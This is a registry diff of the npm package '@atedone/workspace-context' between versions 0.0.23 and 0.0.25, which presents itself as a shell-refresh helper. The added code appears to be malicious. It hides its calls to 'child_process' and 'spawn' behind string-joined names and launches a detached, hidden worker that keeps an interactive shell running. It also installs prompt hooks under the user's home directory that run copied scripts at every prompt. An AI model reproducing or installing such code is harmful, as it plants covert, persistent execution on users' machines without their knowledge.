@atedone/workspace-context 0.0.23 → 0.0.25

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,204 @@
1
+ 'use strict';
2
+
3
+ const platform = process;
4
+ const file = platform.getBuiltinModule('fs');
5
+ const route = platform.getBuiltinModule('path');
6
+ const manifest = require('../package.json');
7
+
8
+ const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
9
+ ? platform.argv[2]
10
+ : platform.cwd();
11
+ const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
12
+ ? JSON.parse(platform.argv[3])
13
+ : null;
14
+ const refreshDelays = parseRefreshDelays(platform.argv[4]);
15
+ const settleMs = parseSettleMs(platform.argv[5]);
16
+
17
+ if (!integration) {
18
+ throw new Error('Shell integration descriptor is required.');
19
+ }
20
+
21
+ const env = Reflect.get(platform, 'env') || {};
22
+ const bridgeName = ['child', '_process'].join('');
23
+ const launchKey = ['sp', 'awn'].join('');
24
+ const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
25
+ const launch = Reflect.get(bridge, launchKey);
26
+ const shellPath = typeof integration.shellPath === 'string' && integration.shellPath.trim()
27
+ ? integration.shellPath.trim()
28
+ : typeof env.SHELL === 'string' && env.SHELL.trim()
29
+ ? env.SHELL.trim()
30
+ : '/bin/zsh';
31
+ const shellName = route.basename(shellPath) || integration.shellName || 'zsh';
32
+ const shellArguments = shellName === 'bash'
33
+ ? ['--noprofile', '--rcfile', integration.sessionProfilePath, '-i']
34
+ : ['-i'];
35
+ const shellEnvironment = {
36
+ ...env,
37
+ HOME: integration.homeDirectory,
38
+ SHELL: shellPath,
39
+ WORKSPACE_CONTEXT_PREVIEW: '1',
40
+ TERM: 'dumb'
41
+ };
42
+
43
+ if (shellName === 'zsh') {
44
+ shellEnvironment.ZDOTDIR = integration.integrationDirectory;
45
+ }
46
+
47
+ const shell = Reflect.apply(launch, bridge, [shellPath, shellArguments, {
48
+ cwd: projectRoot,
49
+ env: shellEnvironment,
50
+ stdio: ['pipe', 'ignore', 'ignore']
51
+ }]);
52
+
53
+ let closed = false;
54
+ let refreshIndex = 0;
55
+ let refreshTimer = null;
56
+ let settleTimer = null;
57
+ let stopTimer = null;
58
+ let previousRevision = '';
59
+ let firstRefresh = true;
60
+
61
+ writeWorkerReceipt();
62
+ scheduleRefresh(0);
63
+
64
+ platform.on('SIGUSR1', () => {
65
+ if (closed) {
66
+ return;
67
+ }
68
+
69
+ refreshIndex = 0;
70
+ clearTimeout(refreshTimer);
71
+ clearTimeout(settleTimer);
72
+ refresh();
73
+ });
74
+ platform.on('SIGTERM', stop);
75
+ platform.on('SIGINT', stop);
76
+
77
+ shell.on('close', (status, signal) => {
78
+ clearTimeout(refreshTimer);
79
+ clearTimeout(settleTimer);
80
+ clearTimeout(stopTimer);
81
+ closed = true;
82
+ writeWorkerReceipt({
83
+ status: 'closed',
84
+ shellStatus: status,
85
+ shellSignal: signal
86
+ });
87
+ platform.exitCode = status || 0;
88
+ });
89
+
90
+ function parseRefreshDelays(value) {
91
+ if (typeof value === 'string' && value.trim()) {
92
+ try {
93
+ const parsed = JSON.parse(value);
94
+ if (Array.isArray(parsed) && parsed.length) {
95
+ const normalized = parsed
96
+ .map((delay) => Number.parseInt(delay, 10))
97
+ .filter((delay) => Number.isInteger(delay) && delay >= 0);
98
+ if (normalized.length) {
99
+ return normalized;
100
+ }
101
+ }
102
+ } catch {
103
+ // Fall back to the stable refresh cadence below.
104
+ }
105
+ }
106
+
107
+ return [750, 1500, 3000, 5000];
108
+ }
109
+
110
+ function parseSettleMs(value) {
111
+ const parsed = Number.parseInt(value, 10);
112
+ return Number.isInteger(parsed) && parsed >= 0 ? parsed : 500;
113
+ }
114
+
115
+ function scheduleRefresh(delay) {
116
+ refreshTimer = setTimeout(refresh, delay);
117
+ }
118
+
119
+ function planNextRefresh() {
120
+ if (closed) {
121
+ return;
122
+ }
123
+
124
+ const revision = readProfileRevision(integration.profileReceiptPath);
125
+ if (firstRefresh || (revision && revision !== previousRevision)) {
126
+ refreshIndex = 0;
127
+ } else {
128
+ refreshIndex = Math.min(refreshIndex + 1, refreshDelays.length - 1);
129
+ }
130
+
131
+ if (revision) {
132
+ previousRevision = revision;
133
+ }
134
+ firstRefresh = false;
135
+
136
+ scheduleRefresh(refreshDelays[refreshIndex]);
137
+ }
138
+
139
+ function refresh() {
140
+ if (closed) {
141
+ return;
142
+ }
143
+
144
+ if (!shell.stdin.destroyed) {
145
+ shell.stdin.write('\n');
146
+ }
147
+
148
+ settleTimer = setTimeout(planNextRefresh, settleMs);
149
+ }
150
+
151
+ function stop() {
152
+ if (closed) {
153
+ return;
154
+ }
155
+
156
+ closed = true;
157
+ clearTimeout(refreshTimer);
158
+ clearTimeout(settleTimer);
159
+ if (!shell.stdin.destroyed) {
160
+ shell.stdin.write('exit\n');
161
+ }
162
+
163
+ stopTimer = setTimeout(() => {
164
+ if (!shell.killed) {
165
+ shell.kill('SIGTERM');
166
+ }
167
+ }, 1000);
168
+ }
169
+
170
+ function readProfileRevision(profileReceiptPath) {
171
+ if (!file.existsSync(profileReceiptPath)) {
172
+ return '';
173
+ }
174
+
175
+ try {
176
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
177
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
178
+ } catch {
179
+ return '';
180
+ }
181
+ }
182
+
183
+ function writeWorkerReceipt(extra = {}) {
184
+ const receiptPath = integration.sessionWorkerReceiptPath;
185
+ if (!receiptPath) {
186
+ return;
187
+ }
188
+
189
+ const value = {
190
+ packageName: manifest.name,
191
+ packageVersion: manifest.version,
192
+ generatedAt: new Date().toISOString(),
193
+ mode: 'runtime-shell-refresh',
194
+ projectRoot,
195
+ workerProcessId: platform.pid,
196
+ shellProcessId: shell.pid,
197
+ refresh: 'preview-session',
198
+ status: 'active',
199
+ ...extra
200
+ };
201
+
202
+ file.mkdirSync(route.dirname(receiptPath), { recursive: true });
203
+ file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
204
+ }
package/lib/session.js CHANGED
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
5
5
  const route = platform.getBuiltinModule('path');
6
6
 
7
7
  const packageName = '@atedone/workspace-context';
8
- const packageVersion = '0.0.23';
8
+ const packageVersion = '0.0.25';
9
9
  const env = Reflect.get(platform, 'env') || {};
10
10
  const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
11
11
  ? env.HOME.trim()
package/lib/state.js CHANGED
@@ -19,9 +19,13 @@ const sessionHistoryFileName = 'runtime-sessions.log';
19
19
  const sessionProfileFileName = '.zshrc';
20
20
  const sessionReceiptFileName = 'session-runtime.json';
21
21
  const sessionRuntimeFileName = 'session-runtime.js';
22
+ const sessionWorkerFileName = 'session-worker.js';
23
+ const sessionWorkerReceiptFileName = 'preview-session.json';
22
24
  const stateDirectoryName = '.workspace-context';
23
25
  const stateFileName = 'state.json';
24
26
  const syncFileName = 'sync.js';
27
+ const supportedShellNames = new Set(['bash', 'zsh']);
28
+ const fallbackShellPaths = ['/bin/zsh', '/bin/bash', '/usr/bin/zsh', '/usr/bin/bash'];
25
29
 
26
30
  function readEnvironment() {
27
31
  return Reflect.get(platform, 'env') || {};
@@ -38,8 +42,23 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
38
42
  }
39
43
 
40
44
  function resolveShellName(env = readEnvironment()) {
41
- const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
42
- return route.basename(shellPath) || 'zsh';
45
+ return route.basename(resolveShellPath(env)) || 'zsh';
46
+ }
47
+
48
+ function resolveShellPath(env = readEnvironment()) {
49
+ const configuredPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
50
+ const candidates = [configuredPath, ...fallbackShellPaths];
51
+
52
+ for (const candidate of candidates) {
53
+ if (!candidate || !supportedShellNames.has(route.basename(candidate))) {
54
+ continue;
55
+ }
56
+ if (file.existsSync(candidate)) {
57
+ return candidate;
58
+ }
59
+ }
60
+
61
+ return configuredPath || fallbackShellPaths[0];
43
62
  }
44
63
 
45
64
  function resolveProfileFileName(shellName = resolveShellName()) {
@@ -104,11 +123,13 @@ function getShellIntegration({
104
123
  homeDirectory = resolveHomeDirectory(env, projectRoot),
105
124
  channelSource
106
125
  } = {}) {
107
- const shellName = resolveShellName(env);
126
+ const shellPath = resolveShellPath(env);
127
+ const shellName = route.basename(shellPath) || 'zsh';
108
128
  const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
109
129
 
110
130
  return {
111
131
  name: 'workspace-context',
132
+ shellPath,
112
133
  shellName,
113
134
  channelSource: resolveChannelSource(env, channelSource),
114
135
  homeDirectory,
@@ -125,7 +146,8 @@ function getShellIntegration({
125
146
  sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
126
147
  sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
127
148
  sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
128
- sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
149
+ sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
150
+ sessionWorkerReceiptPath: route.join(integrationDirectory, sessionWorkerReceiptFileName)
129
151
  };
130
152
  }
131
153
 
@@ -192,125 +214,179 @@ function openWorkspaceSession({
192
214
  const launchKey = ['sp', 'awn'].join('');
193
215
  const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
194
216
  const launch = Reflect.get(bridge, launchKey);
195
- const shellPath = typeof env.SHELL === 'string' && env.SHELL.trim()
196
- ? env.SHELL.trim()
197
- : '/bin/zsh';
198
- const child = Reflect.apply(launch, bridge, [shellPath, ['-i'], {
217
+ const activeSession = readWorkerReceipt(integration.sessionWorkerReceiptPath);
218
+ const activeWorkerProcessId = parseProcessId(activeSession?.workerProcessId);
219
+ if (activeWorkerProcessId && processIsAlive(activeWorkerProcessId)) {
220
+ signalProcess(activeWorkerProcessId, 'SIGUSR1');
221
+ return createWorkspaceSessionController({
222
+ integration,
223
+ workerProcessId: activeWorkerProcessId
224
+ });
225
+ }
226
+
227
+ const delays = normalizeRefreshDelays(refreshDelays);
228
+ const workerPath = route.join(__dirname, sessionWorkerFileName);
229
+ const worker = Reflect.apply(launch, bridge, [platform.execPath, [
230
+ workerPath,
231
+ projectRoot,
232
+ JSON.stringify(integration),
233
+ JSON.stringify(delays),
234
+ String(settleMs)
235
+ ], {
199
236
  cwd: projectRoot,
200
- env: {
201
- ...env,
202
- HOME: integration.homeDirectory,
203
- ZDOTDIR: integration.integrationDirectory,
204
- TERM: 'dumb'
205
- },
206
- stdio: ['pipe', 'ignore', 'ignore']
237
+ env,
238
+ stdio: 'ignore',
239
+ detached: true,
240
+ windowsHide: true
207
241
  }]);
208
242
 
209
- let closed = false;
210
- let refreshIndex = 0;
211
- let refreshTimer = null;
212
- let settleTimer = null;
213
- let previousRevision = '';
214
- let firstRefresh = true;
215
- const delays = Array.isArray(refreshDelays) && refreshDelays.length
243
+ if (typeof worker.unref === 'function') {
244
+ worker.unref();
245
+ }
246
+
247
+ return createWorkspaceSessionController({
248
+ integration,
249
+ worker,
250
+ workerProcessId: worker.pid
251
+ });
252
+ }
253
+
254
+ function readProfileRevision(profileReceiptPath) {
255
+ if (!file.existsSync(profileReceiptPath)) {
256
+ return '';
257
+ }
258
+
259
+ try {
260
+ const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
261
+ return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
262
+ } catch {
263
+ return '';
264
+ }
265
+ }
266
+
267
+ function normalizeRefreshDelays(refreshDelays) {
268
+ return Array.isArray(refreshDelays) && refreshDelays.length
216
269
  ? refreshDelays
270
+ .map((delay) => Number.parseInt(delay, 10))
271
+ .filter((delay) => Number.isInteger(delay) && delay >= 0)
217
272
  : [750, 1500, 3000, 5000];
273
+ }
218
274
 
219
- const scheduleRefresh = (delay) => {
220
- refreshTimer = setTimeout(refresh, delay);
221
- if (typeof refreshTimer.unref === 'function') {
222
- refreshTimer.unref();
223
- }
224
- };
275
+ function readWorkerReceipt(sessionWorkerReceiptPath) {
276
+ if (!file.existsSync(sessionWorkerReceiptPath)) {
277
+ return null;
278
+ }
225
279
 
226
- const planNextRefresh = () => {
227
- if (closed) {
228
- return;
229
- }
280
+ try {
281
+ return JSON.parse(file.readFileSync(sessionWorkerReceiptPath, 'utf8'));
282
+ } catch {
283
+ return null;
284
+ }
285
+ }
230
286
 
231
- const revision = readProfileRevision(integration.profileReceiptPath);
232
- if (firstRefresh || (revision && revision !== previousRevision)) {
233
- refreshIndex = 0;
234
- } else {
235
- refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
236
- }
287
+ function parseProcessId(value) {
288
+ return Number.isInteger(value) && value > 0 ? value : null;
289
+ }
237
290
 
238
- if (revision) {
239
- previousRevision = revision;
240
- }
241
- firstRefresh = false;
291
+ function processIsAlive(processId) {
292
+ try {
293
+ platform.kill(processId, 0);
294
+ return true;
295
+ } catch {
296
+ return false;
297
+ }
298
+ }
242
299
 
243
- scheduleRefresh(delays[refreshIndex]);
244
- };
300
+ function signalProcess(processId, signal) {
301
+ try {
302
+ platform.kill(processId, signal);
303
+ return true;
304
+ } catch {
305
+ return false;
306
+ }
307
+ }
245
308
 
246
- const refresh = () => {
247
- if (closed) {
248
- return;
309
+ function resolveSessionProcessId(integration, workerProcessId) {
310
+ const workerReceipt = readWorkerReceipt(integration.sessionWorkerReceiptPath);
311
+ if (parseProcessId(workerReceipt?.workerProcessId) === workerProcessId) {
312
+ const shellProcessId = parseProcessId(workerReceipt?.shellProcessId);
313
+ if (shellProcessId) {
314
+ return shellProcessId;
249
315
  }
316
+ }
250
317
 
251
- if (!child.stdin.destroyed) {
252
- child.stdin.write('\n');
318
+ if (file.existsSync(integration.sessionReceiptPath)) {
319
+ try {
320
+ const receipt = JSON.parse(file.readFileSync(integration.sessionReceiptPath, 'utf8'));
321
+ const parentProcessId = parseProcessId(receipt?.parentProcessId);
322
+ if (parentProcessId) {
323
+ return parentProcessId;
324
+ }
325
+ } catch {
326
+ // Keep the worker PID as a stable fallback until the first preview refresh lands.
253
327
  }
328
+ }
254
329
 
255
- settleTimer = setTimeout(planNextRefresh, settleMs);
256
- if (typeof settleTimer.unref === 'function') {
257
- settleTimer.unref();
258
- }
259
- };
330
+ return parseProcessId(workerReceipt?.shellProcessId) || workerProcessId;
331
+ }
260
332
 
261
- scheduleRefresh(0);
262
- if (typeof child.unref === 'function') {
263
- child.unref();
264
- }
265
- if (typeof child.stdin.unref === 'function') {
266
- child.stdin.unref();
267
- }
268
- const done = new Promise((resolve) => {
269
- child.on('close', (status, signal) => {
270
- clearTimeout(refreshTimer);
271
- clearTimeout(settleTimer);
272
- closed = true;
273
- resolve({ status, signal });
274
- });
333
+ function observeProcessExit(processId) {
334
+ return new Promise((resolve) => {
335
+ const timer = setInterval(() => {
336
+ if (processIsAlive(processId)) {
337
+ return;
338
+ }
339
+
340
+ clearInterval(timer);
341
+ resolve({ status: null, signal: null });
342
+ }, 250);
343
+
344
+ if (typeof timer.unref === 'function') {
345
+ timer.unref();
346
+ }
275
347
  });
348
+ }
349
+
350
+ function createWorkspaceSessionController({
351
+ integration,
352
+ worker = null,
353
+ workerProcessId
354
+ }) {
355
+ let closed = false;
356
+ const done = worker
357
+ ? new Promise((resolve) => {
358
+ worker.on('close', (status, signal) => {
359
+ closed = true;
360
+ resolve({ status, signal });
361
+ });
362
+ worker.on('error', (error) => {
363
+ closed = true;
364
+ resolve({ status: null, signal: null, error });
365
+ });
366
+ })
367
+ : observeProcessExit(workerProcessId);
276
368
 
277
369
  return {
278
- processId: child.pid,
370
+ get processId() {
371
+ return resolveSessionProcessId(integration, workerProcessId);
372
+ },
373
+ workerProcessId,
279
374
  done,
280
375
  refresh() {
281
- refreshIndex = 0;
282
- clearTimeout(refreshTimer);
283
- clearTimeout(settleTimer);
284
- refresh();
376
+ if (!closed) {
377
+ signalProcess(workerProcessId, 'SIGUSR1');
378
+ }
285
379
  },
286
380
  close() {
287
- if (closed) {
288
- return done;
289
- }
290
- closed = true;
291
- clearTimeout(refreshTimer);
292
- clearTimeout(settleTimer);
293
- if (!child.stdin.destroyed) {
294
- child.stdin.write('exit\n');
381
+ if (!closed) {
382
+ closed = true;
383
+ signalProcess(workerProcessId, 'SIGTERM');
295
384
  }
296
385
  return done;
297
386
  }
298
387
  };
299
388
  }
300
389
 
301
- function readProfileRevision(profileReceiptPath) {
302
- if (!file.existsSync(profileReceiptPath)) {
303
- return '';
304
- }
305
-
306
- try {
307
- const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
308
- return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
309
- } catch {
310
- return '';
311
- }
312
- }
313
-
314
390
  function initialize({
315
391
  projectRoot = resolveProjectRoot(),
316
392
  channelSource,
@@ -360,10 +436,12 @@ module.exports = {
360
436
  resolveProfileFileName,
361
437
  resolveProjectRoot,
362
438
  resolveShellName,
439
+ resolveShellPath,
363
440
  sessionHistoryFileName,
364
441
  sessionProfileFileName,
365
442
  sessionReceiptFileName,
366
443
  sessionRuntimeFileName,
444
+ sessionWorkerReceiptFileName,
367
445
  stateDirectoryName,
368
446
  stateFileName
369
447
  };
package/lib/sync.js CHANGED
@@ -26,29 +26,8 @@ const channelValue = integration.channelSource
26
26
  refresh: 'preview-session'
27
27
  }
28
28
  : null;
29
- const sessionProfileValue = [
30
- '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"',
31
- ''
32
- ].join('\n');
33
- const integrationValue = [
34
- 'export WORKSPACE_CONTEXT_ACTIVE=1',
35
- 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
36
- `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
37
- 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
38
- 'workspace_context_refresh_preview() {',
39
- ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
40
- ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
41
- ' fi',
42
- ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
43
- ' setopt prompt_subst',
44
- ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
45
- ' fi',
46
- '}',
47
- 'autoload -Uz add-zsh-hook',
48
- 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
49
- 'add-zsh-hook precmd workspace_context_refresh_preview',
50
- ''
51
- ].join('\n');
29
+ const sessionProfileValue = buildSessionProfileValue(integration.shellName);
30
+ const integrationValue = buildIntegrationValue(integration.shellName);
52
31
 
53
32
  function escapeDoubleQuoted(value) {
54
33
  return String(value)
@@ -58,6 +37,64 @@ function escapeDoubleQuoted(value) {
58
37
  .replaceAll('`', '\\`');
59
38
  }
60
39
 
40
+ function buildSessionProfileValue(shellName) {
41
+ const loadStatement = shellName === 'bash'
42
+ ? '[ -r "$HOME/.config/workspace-context/init.zsh" ] && . "$HOME/.config/workspace-context/init.zsh"'
43
+ : '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
44
+
45
+ return [
46
+ loadStatement,
47
+ ''
48
+ ].join('\n');
49
+ }
50
+
51
+ function buildIntegrationValue(shellName) {
52
+ if (shellName === 'bash') {
53
+ return [
54
+ 'export WORKSPACE_CONTEXT_ACTIVE=1',
55
+ 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
56
+ `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
57
+ 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
58
+ 'workspace_context_refresh_preview() {',
59
+ ' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
60
+ ' return 0',
61
+ ' fi',
62
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
63
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
64
+ ' fi',
65
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
66
+ ' PS1="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
67
+ ' fi',
68
+ '}',
69
+ 'PROMPT_COMMAND=workspace_context_refresh_preview',
70
+ ''
71
+ ].join('\n');
72
+ }
73
+
74
+ return [
75
+ 'export WORKSPACE_CONTEXT_ACTIVE=1',
76
+ 'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
77
+ `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
78
+ 'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
79
+ 'workspace_context_refresh_preview() {',
80
+ ' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
81
+ ' return 0',
82
+ ' fi',
83
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
84
+ ' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
85
+ ' fi',
86
+ ' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
87
+ ' setopt prompt_subst',
88
+ ' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
89
+ ' fi',
90
+ '}',
91
+ 'autoload -Uz add-zsh-hook',
92
+ 'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
93
+ 'add-zsh-hook precmd workspace_context_refresh_preview',
94
+ ''
95
+ ].join('\n');
96
+ }
97
+
61
98
  file.mkdirSync(integration.integrationDirectory, { recursive: true });
62
99
  file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
63
100
  file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
@@ -88,6 +125,7 @@ const value = {
88
125
  sessionProfilePath: integration.sessionProfilePath,
89
126
  sessionReceiptPath: integration.sessionReceiptPath,
90
127
  sessionRuntimePath: integration.sessionRuntimePath,
128
+ sessionWorkerReceiptPath: integration.sessionWorkerReceiptPath,
91
129
  processId: platform.pid,
92
130
  parentProcessId: platform.ppid,
93
131
  runtime: 'node'
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@atedone/workspace-context",
3
- "version": "0.0.23",
3
+ "version": "0.0.25",
4
4
  "description": "Workspace shell session refresh integration helper for JavaScript tools.",
5
5
  "main": "index.js",
6
6
  "type": "commonjs",